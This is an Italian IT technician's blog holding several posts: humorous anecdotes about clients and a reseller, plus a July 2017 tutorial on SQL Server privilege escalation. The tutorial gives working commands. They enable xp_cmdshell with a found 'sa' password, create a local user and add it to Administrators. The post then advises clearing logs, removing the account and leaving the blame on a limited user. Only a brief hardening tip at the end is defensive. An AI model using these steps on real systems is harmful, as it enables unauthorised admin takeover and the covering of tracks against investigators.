giovedì 7 settembre 2017

"Allora 5 anni di ingengeria li butto via?!"

Grazie al mio lavoro molta dalle mia vita la passo a stretto contatto anche con delle figure che hanno tantissime valide frecce al loro arco, ma quest'ultimo ha spesso un pessimo bilanciamento, ciò comporta che al momento dello scocco la freccia prenda direzioni più o meno imbarazzanti ed il centro che si era prefissato si trasforma in una figuraccia che manco i super santos calciati durante un giorno di vento. Queste persone di norma rispondono ad appellativi quali "dottor" o peggio al ben più temibile "ingegnere". Ricordo allo sventurato lettore di questo blog, che io non sono un laureato e c'ho pure provato, purtroppo l'universo per me aveva altri piani, non mi dispiace in fin dei conti avere un lavoro da ormai tantissimi anni quando il 90% dei miei coetanei ancora rasenta una precarietà stabile.

Che un percorso di studi scientifico sia sempre comunque la scelta migliore da prendere, su questo non ci piove, ma purtroppo vi sono facoltà che, miste a verosimilmente ad elevate aspettative familiari (tipo i nonni che premiano fin troppo la carriera del nipote), portano l'individuo a caricarsi di una spocchia tremenda ed una di queste è "l'ingegneria", qualsiasi essa sia e potrebbe essere ingegneria dei sacchetti di plastica, il risultato non cambia e se sei un coglione sei un ingegnere della magra figura. Ma andiamo al sunto:

Molte volte, considerato che i miei servigi hanno un costo non indifferente, i clienti sono spinti da cugini o amici per l'appunto ingegneri, a fornirsi di soluzioni hardware e software che a malapena somigliano a ciò che propongo io. Il cliente in questione è dotato di rete con una decina di pc con dominio Active Directory basato su un vecchio ormai Windows 2008 (core di Windows Vista, meh!), pochissima ram, inspiegabili blocchi ecc...la soluzione da me proposta ormai reiterata da tre anni a questa parte, sarebbe una reinstallazione su Hypervisor ESXi con implementazione di un bel pacco di ram nuova. Tale soluzione ha portato a migliorie sostanziali già in diversi clienti, indi funziona, è inconfutabile! Il cliente quindi verosimilmente scosso dal prezzo e dalla incapacità di capire cosa siano tutti quei lavori, chiede lumi a terze parti, facendo entrare in gioco uno sbarbatello che "vende picci", questo tizio decide quindi di fornire al cliente un nuovo "server", virgolettato poichè di server ha ben poco ad esclusione del sistema operativo che tra l'altro non compare nemmeno in fattura, qualcuno ha detto craccato?



Considerato il tutto, decido quindi di dire al cliente (che per fortuna aspetta la mia ultima parola), se questo accrocchio sia valido, ricordo che un server deve avere requisiti quali ridondanze hardware varie e sopratutto, capacità di restare acceso h24 senza sbattimenti, supportare una virtualizzazione su controller fisico ecc... Deve inoltre avere un supporto hardware che possa fornire le componenti di ricambio in breve tempo, si, sono tutte cose che si pagano se ve lo state chiedendo. Ovviamente questo non è un server, ma un normalissimo pc dotato di molta ram ed un disco fisso ssd, è un signor computer client che probabilmente è valido anche per giocare, ma non è un server!


Al sentire le mie audaci parole (che per dovere di cronaca, demando la trasmissione di queste ultime, a chi di dovere), il tizio che vende picci decide di chiamarmi per chiedere lumi:

Io: Si ciao, sono Dario, dimmi tutto...
Lui: Si ciao, ho sentito che questo server che sto dando non va bene, come mai?
Io: Intanto non è un server, è un normale computer con un disco fisso ssd e tantissima memoria ram, un ottimo computer, ma non è un server...
Io: Ma a me hanno detto di installare l'ultimo sistema operativo da server, come può non essere un server, un i7-5820k, 32 gb di ram ecc...
Io: Semplice, non è un server, i server montano cpu Xeon, come la serie E3-E5-E7, di norma un server è quello Lenovo come la serie E3100, 3400 e cosi via, i ProLiant della HP, vi sono quei fantastici DELL che sembrano astronavi ecc...
Lui: Quindi mi stai dicendo che questo qui non supporta il software che usa il cliente!
Io: Non ho detto questo, ho detto che non è un hardware che mi sentirei di consigliare al cliente per un utilizzo intensivo h24 e decisamente centrale nel loro lavoro, se si rompe l'alimentatore cosa fai, corri a cambiarlo? Se si fotte il disco fisso? Hai un backup e ripristini da quello? I nostri preventivi prevedono una virtualizzazione, questo non lo è, occorre un controller raid hardware ed un doppio disco fisso almeno per un mirror!
Lui: Quindi 5 anni di ingegneria li butto via! Mai nessuno mi ha sollevato problemi per l'hardware che fornisco! Puoi virtualizzarci 4 server qui dentro con tutta questa potenza! Io sono quello che gli cura l'hardware!
Io: Non si parla di ingegneria, non dico che non funziona, ma ti faccio presente una cosa, il cliente il server lo cambia una volta ogni 10 anni, quel computer che gli stai fornendo, 10 anni non ci campa, vi sono server installati da me che sono up da 12 anni ed hanno avuto solo problemi come guasti all'alimentatore che per fortuna, con la ridondanza dello stesso, non ha portato danni! Se vi sono problemi alla scheda madre, cosa fai? Ne cerchi una uguale? Il supporto da parte del fornitore in situazioni anche dove tu non sei disponibile, ce l'ha? NO! Se sono anni che installiamo server dove occorre un server, si vede che serve un server! E ad ogni modo il cliente è seguito da noi.
Lui: A me hanno detto solo di fornire un server ed installare l'ultimo sistema operativo!
Io: Il dominio lo hai passato? Ti ripeto, se il cliente ha chiaramente preferito una soluzione che costi indubbiamente meno, lo posso anche comprendere, ma questo non è un server e non è ciò che io installerei, se comunque il cliente ha intenzione di scegliere la tua fornitura, liberissimo, ma non mi sento di garantire per la sua durata.
Lui: OK, ho capito, allora comunico a $cliente tutto quanto e ci aggiorniamo!
Io: Ok, ciao!!
Lui: Ciao

D.

mercoledì 26 luglio 2017

SQL Privilege Escalation con xp_cmdshell



Prima di spiegarvi la procedura, è bene fare una panoramica su come funzionino i servizi, privilegi, i permessi, e gli utenti in un sistema multiutente dotato di amministori e non.

I processi lanciati su un computer, girano utilizzando una entità, potete immaginarla come la divinità preposta a lanciare il fulmine, avrà pieno dominio dell'aria, cosi come quella preposta a scatenare le maree avrà dominio dell'acqua. Di solito nei sistemi Windows abbiamo "LOCAL, NETWORK, GUEST" ecc... questi utenti, specialmente il local account o SYSTEM, posseggono diversi privilegi, ivi compresi quelli di creare utenti, assegnare loro password e sopratutto inserirli in gruppi specifici.

Se per esempio, quando siete davanti al computer, fate partire la calcolatrice, essa "girerà" usando al massimo i privilegi dell'utente corrente, il vostro, che magari non può fare nulla se non aprire i propri documenti...ma a noi occorre diventare amministratori!

Ipotizziamo di trovarci in questa situazione:

Server Windows configurato con un Administrator del quale non conosciamo password, diversi utenti con privilegi ridotti, di almeno uno di loro abbiamo gli accessi, potrebbe pure non essere necessario averne uno (dipende dalla superficie di attacco disponibile su questo server), ma ipotizziamo noi si sia abbastanza fortunati da averne uno che ha un classico accesso locale. Il server in questione probabilmente offre dei servizi basati su qualche database, ad esso magari è agganciato un software dotato di configurazione ecc...tenete a mente che di norma, questi software possono avere dentro la loro configurazione dei dati importanti come accessi al database ecc...

Analizzando lo scenario possiamo notare che gira una istanza di SQL Server di Microsoft, interrogandone i servizi attivi, notiamo che utilizza i privilegi di LOCAL per avviarsi, ciò significa che ogni operazione che l'sql fa, la fa mediante i privilegi a LOCAL assegnati.

Parlavamo poco fa degli eventuali software che utilizzano sql server, di norma quelli migliori utilizzano una autenticazione di utente Windows per accedere all'istanza, ma molti (e sono parecchi) utilizzano l'autenticazione diretta sul database tramite utente 'sa' che sarebbe l'amministratore dell'istanza in questione, e dentro l'istanza può fare quello che vuole, ovvero controllare l'sql server...(ricordate che gira con i privilegi di LOCAL), il problema è che questo utente e la relativa password, sono generalmente codificati all'interno di qualche file di configurazione dei sudetti software, accessibile a tutti, FALLA ENORME!

SQL, continiene un potente sistema di query che è possibile lanciare direttamente da prompt o dalla console di gestione, ipotizziamo noi si abbia la password di questo utente 'sa', che la si sia trovata in chiaro o cifrata poco importa, se siamo dentro abbiamo il controllo dell'istanza SQL.

Intanto lanciamo una prima query:

select @@version

Ci restituirà la versione per esteso della versione dell'istanza stessa:

Microsoft SQL Server 2008 R2 (SP2) - 10.50.4000.0 (X64)   Jun 28 2012 08:36:30   Copyright (c) Microsoft Corporation  Express Edition with Advanced Services (64-bit) on Windows NT 6.1 <X64> (Build 7601: Service Pack 1) (Hypervisor)

Perfetto, non aggiornatissima e sfruttabilissima, tramite questa query sucessiva, abilitiamo le funzionalità di xp_cmdshell che di norma sono disattivate (ma va!):

EXEC sp_configure 'show advanced options', 1
GO
RECONFIGURE
GO
EXEC sp_configure 'xp_cmdshell', 1
GO
RECONFIGURE
GO

A questo punto ciò che avremo sarà la possibilità di lanciare comandi sul sistema operativo, direttamente dal motore di sql server, esempio:

EXEC xp_cmdshell 'dir c:\';
GO

Ci restituirà il contentuo della root del disco c:\ come se avessimo fatto un banale dir dall'interno di un prompt dei comandi, ovviamente il tipo di accesso non permette una interattività, quindi i comandi da lanciare devono essere completi e prevedere l'intera operazione.

CREIAMO UN UTENTE TUTTO NOSTRO....:

EXEC xp_cmdshell 'net user barnaba !b@rny2017 /add';
GO

Cosi facendo abbiamo creato un utente di nome barbaba e la password !b@rny2017, l'utente è ancora User e non può fare molto...aggiungiamolo agli administrator allora!

EXEC xp_cmdshell 'net localgroup administrators barnaba /add';
GO

Apriamo un prompt dei comandi normalissimo e lanciamo un "net user barnaba", otterremo quanto segue:

Nome utente                           barnaba
Nome completo
Commento
Commento utente
Codice paese/area geografica          000 (Predefinito del sistema)
Account attivo                        Sì
Scadenza account                      Mai

Ultima impostazione password          26/05/2017 11:06:41
Scadenza password                     Mai
Password cambiabile                   26/05/2017 11:06:41
Password richiesta                    No
L'utente può cambiare la password     Sì

Workstation consentite                Tutti
Script di accesso
Profilo utente
Home directory
Ultimo accesso                        26/07/2017 16:50:56

Ore di accesso consentito             Tutti

Appartenenze al gruppo locale         *Administrators
                                      *Performance Log Users
Appartenenze al gruppo globale        *NESSUNO

Come potete vedere abbiamo creato un nuovo utente, con password, appartenente al gruppo administrators, con questo potremmo effettuare un accesso, che sia desktop remoto o altro, di norma gli utenti appartenenti a questo gruppo, possono fare praticamente tutto, nel caso di utenti con dominio potremmo promuoverci ad amministatori di dominio, di schema, effettuare operazioni su active directory ecc...

Tutto partendo da un normale utente che ha tirato fuori la password di 'sa' di una istanza sql di un merdoso programma che usano in 2 persone magari, notare che non è necessario sia 'sa', è possibile usare un qualsiasi utente SQL che abbia i medesimi privilegi.

Una volta effettuato tutto ciò che dovevamo fare, fate quanto segue:

Promuovete administrator il primo utente che avevate con accesso limitato ed accedete con quello. Rimuovete l'utente barney, rimuovete l'eventuale profilo, azzerate i log, rimuovetevi da soli dal gruppo administrator, uscite e rientrate. Avrete rimosso le vostre tracce, tutto al più lasciando che sia il solo utente limitato ad aver fatto qualcosa.

Per non incorrere in questo genere di problemi, occorre far eseguire i vostri demoni, utilizzando utenti limitati, il più limitati possibili, SQL SERVER nelle ultime versioni utilizza un utente dedicato creato dal setup stesso, che può fare tutto tranne che casino. Ovviamente è altresì necessario che si evitino software dotati di scarsa sicurezza.

D.

venerdì 16 dicembre 2016

Scrocchiamo sto wireless

#telefonate

Mi sbatto tre ore per capire come mai un pc connesso in terminal server, non stampi sulla stampante posta nelle sue vicinanze, tolgo driver, rimetto, 2 volte, i driver, easy print ecc...

Cliente: "Ah aspè aspè...siamo collegati su una rete wireless diversa da quella della stampante...."
Io: "No tranquillo...non fa nulla..."

D.

mercoledì 14 dicembre 2016

#telefonate "...dove è il pulsante bianco..?"



Al telefono con una cliente:
Lei: "non parte il server aiuto che facciamo? dopo che TU lo hai spento non riparte!!Il programma non entra...."
Io: "Ci sta il server spento...ovvio! Ma il gruppo di continuità è acceso?"
Lei: "cosa è il gruppo, quale è?Quello bianco?quello nero?" (cosa sei razzista??)
Io: "Ragà, ma non sapete quale è il gruppo!?!? sta sopra il server!!"
Lei: "....UFFA..."
Io: "Allora...il gruppo è tipo un fornetto a microonde...MA STATE SCHERZANDO!?"
Lei: "Ma non ti puoi collegare?" (ma dove!?!? al tuo cervello per farti spostare il ditino sul pulsante che non vedi?)
Io: "ascolta...vedi il server?vedi il led verde?cosa fa, lampeggia?"
Lei: "si lampeggia"
Io: "Bene, premi il pulsante bianco cosi si accende..."
Lei: "...dove è il pulsante bianco..?"
Io: "ci sta uno sportellino vicino al led ve...MA NON LO AVETE MAI ACCESO IL SERVER!!?"
Lei: "...ok, premuto" (sento il tipico rumore da ventola che accelera)
Io: "ecco adesso sta partendo!"
Lei: "qui mi da ancora errore impossibile trovare.."
Io: "ASPETTATE CHE PARTA IL SERVER!!"
Ovviamente dopo hanno richiamato perchè ancora non riescono ad entrare, io da remoto vedo che il server ancora manco è partito del tutto, e sempre DA QUI, dico a loro CHE SONO LI, ora potete entrare! UN CIECO CHE DICE AD UN VEDENTE DOVE SBATTERE LA TESTA!
No, io forse appaio spesso cattivo, ma non si possono sentire ste cose...